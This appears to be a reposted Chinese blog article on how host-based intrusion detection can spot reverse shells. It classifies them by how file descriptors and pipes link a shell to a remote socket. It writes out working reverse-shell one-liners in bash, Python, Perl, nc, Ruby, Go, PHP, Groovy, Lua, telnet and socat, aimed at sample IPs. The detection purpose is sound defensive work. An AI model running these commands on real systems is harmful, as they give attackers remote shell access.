基於主機的反彈shell檢測思路


 

前言

難免有時候網站會存在命令執行、代碼執行等漏洞可能被黑客反彈shell,如何第一時間發現反彈shell特征,kill掉相應進程,保護主機安全呢?
本文主要探究一下主機反彈shell有哪些特征,為HIDS檢測主機反彈shell行為提供一些思路。

類型一

bash反彈

先從最常規的開始舉個例子。

bash -i >& /dev/tcp/ip/port 0>&1

原理簡單說一下,本地打開bash將標准輸出、標准錯誤輸出、標准輸入通過socket鏈接重定向至遠程

>&作用就是混合輸出(錯誤、正確輸出都輸出到一個地方)

/dev/tcp|udp/ip/port 可以看作是一個遠程設備,所有重定向到該設備的信息
都會被轉發至 ip:port 對應的遠程設備

另外至少需要把標准輸出流,標准輸入流定向至遠程,也就是遠程輸入命令
執行結果定向至遠程,形成一個回路,也就是交互式shell。

查看一下進程的文件描述符:

可以看到0,1,2文件描述符都被重定向至遠程socket鏈接,lsof看一下bash進程:

此時我們打開本地再打開一個bash,lsof命令查看一下進程描述符:


可以看到正常情況下文件描述符指向/dev/pts/0(因為linux下一切皆文件,這個文件就代表偽終端或虛擬終端)而反彈shell的情況下文件描述符都是指向遠程socket鏈接,同時用戶可能是www、www-data、apache、nginx等用戶

補充:為什么每個bash進程都會有0,1,2三個文件描述符?
shell會繼承父進程的文件描述符,因此所有的shell都會默認有這三個文件描述符
以后再打開文件,描述符依次增加(0,1,2分別代表標准輸入,標准輸出和標准錯誤輸出)

這是反彈shell最常見的特征,就是bash進程中的輸入輸出文件描述符被定向到遠程socket鏈接,下面我們看看常見的其他反彈shell方法:

python反彈

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

s.fileno() 查看建立socket鏈接返回的文件描述符是3

使用duo2方法將第二個形參(文件描述符)指向第一個形參(socket鏈接)

接下來使用os的subprocess在本地開啟一個子進程,啟動bash交互模式,標准輸入、標准輸出、標准錯誤輸出被重定向到了遠程
lsof命令查看一下:


特征與上面基本一致,也是輸入輸出流被重定向到了遠程socket鏈接

perl反彈

perl -e 'use Socket;$i=”10.211.55.2";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

特征與上面基本一致

nc反彈shell

nc -e /bin/bash 127.0.0.1 7777

如果執行上面命令提示沒有-e 選項,可能因為版本是openbsd,可以手動指定nc.traditional

lsof發現與上面的基本相同,這種都是屬於同一種類型的,類似的還有:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)’

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

php –r  'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/7777")’

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

等等,上面都屬於同一種類型,就是直接把bash文件描述符重定向至遠程socket鏈接。

類型二

基本例子

下面看一下另一種類型,不同進程之間通過管道相連接,最后通過多次管道定向至bash的輸入輸出。

隨便舉個簡單例子nc通過管道將遠程的輸入流定向至/bin/bash

/bin/nc.traditional 10.211.55.2 7777 | /bin/bash

命令的意思是接受來自遠程的數據通過管道作為bash的輸入

lsof命令看到0也就是標准輸入是來自管道,通過id追蹤到管道另一端的進程

看到另一個進程有一個socket的遠程連接,也就是通過遠程接受命令,然后通過管道傳輸給bash進程執行

也就是說輸入輸出中間可能會經歷多層管道,但最終一定會定向到遠程的socket鏈接,pipe[387461] 最終還是被重定向至socket鏈接,中間需要根據id追蹤一下管道兩邊的進程,完整過程如下,貼一張圖就不做解釋了:

補充:解釋一下pipe和fifo在linux里還是有點區別的:
pipe是創建管道(匿名)的函數,管道(匿名)是內核中的一個單向數據通道,管道有一個讀端和一個寫端。一般用於父子進程之間的通信。
fifo是命名管道也被稱為FIFO文件,它是一種特殊類型的文件,它在文件系統中以文件名的形式存在(因為多個進程要識別),它的行為卻和之前匿名管道類似(一端讀一端寫),但是FIFO文件也不在磁盤進行存儲。一般用於進程間的通信。

nc

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 110.211.55.2 7777 >/tmp/f

mkfifo 命令首先創建了一個管道,cat 將管道里面的內容輸出傳遞給/bin/sh,sh會執行管道里的命令並將標准
輸出和標准錯誤輸出結果通過nc 傳到該管道,由此形成了一個回路

補充: https://blog.csdn.net/qq_42914528/article/details/82023408


lsof可以看到0,1,2文件描述符全部被重定向到了管道,通過id追蹤一下管道另一端的進程

找到cat進程,發現一個進程名描述符指向文件,上面命令中已經有了體現,繼續通過id追蹤

找到了nc進程,發現nc有對外socket鏈接,也就是說nc接受命令通過cat傳給bash執行。

telnet反彈shell

mknod a p; telnet 10.211.55.2 7777 0<a | /bin/bash 1>a

telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555

與上面的類型,方法基本一樣不做贅述。

總結一下第二種類型的反彈shell:0,1,2標准輸入輸出、錯誤輸出流被指向pipe管道,管道指向到另一個進程會有一個對外的socket鏈接,中間或許經過多層管道,但最終被定向到的進程必有一個socket鏈接。

類型三

socat反彈shell

可以看作是netcat增強版,Ubuntu下默認不預裝

反彈命令
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999
監聽命令
socat file:`tty`,raw,echo=0 tcp-listen:9999

補充:SOCK_DGRAM 是無保障的面向消息的socket,主要用於在網絡上發廣播信息。

可以看出這種類型與上兩種是有區別的bash通過管道與socat進程通信,但是管道並不是重定向的標准輸入輸出、標准錯誤輸出這三個流而是其他的流,然后在程序內部再將該pipe管道定向到0,1,2這三個文件描述符。

這就是第三種基本類型特征。

類型四

msf生成payload反彈shell

這里以生成python為例,其他例如php等原理上都一樣,生成payload受害主機上執行。lsof查看進程描述符的情況。

可以看到python開啟了一個遠程socket鏈接,但是沒有任何pipe管道指向bash進程,查看msf生成的payload可知只是返回了一個相當於代碼執行,並不是真正意義上的交互式shell。
反觀其特征就是一個正常進程對外有一個socket鏈接,特征不足,這種並不好檢測。

dns_shell&icmp_shell

網上有很多開源的反彈shell的比如:
https://github.com/ahhh/Reverse_DNS_Shell
正常shell走的是tcp或者udp協議,而他們走的是dns、icmp協議,在流量上做到了很好的偽裝,但是在基於主機檢測面前和上面的例子本質上是一樣的。

lsof命令查看進程信息:

與上面情況基本一直,必須使用定制化的客戶端,相當於代碼執行上的一層封裝。

總結

再往下總結甚至可以列出第五種類型,比如client端接受server端命令,新開一個bash子進程進行命令執行等等,騷操作層出不窮。

從主機防護角度來講,特征的高覆蓋率勢必對應着高誤報,總要從這之間找到一個平衡點。

但是回過頭來仔細想想,從一個黑客的角度出發,是不是會從最簡單的反彈shell方法開始嘗試,那當他第一步嘗試失敗的時候我們已經抓到了入侵動機,並及時采取了措施。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM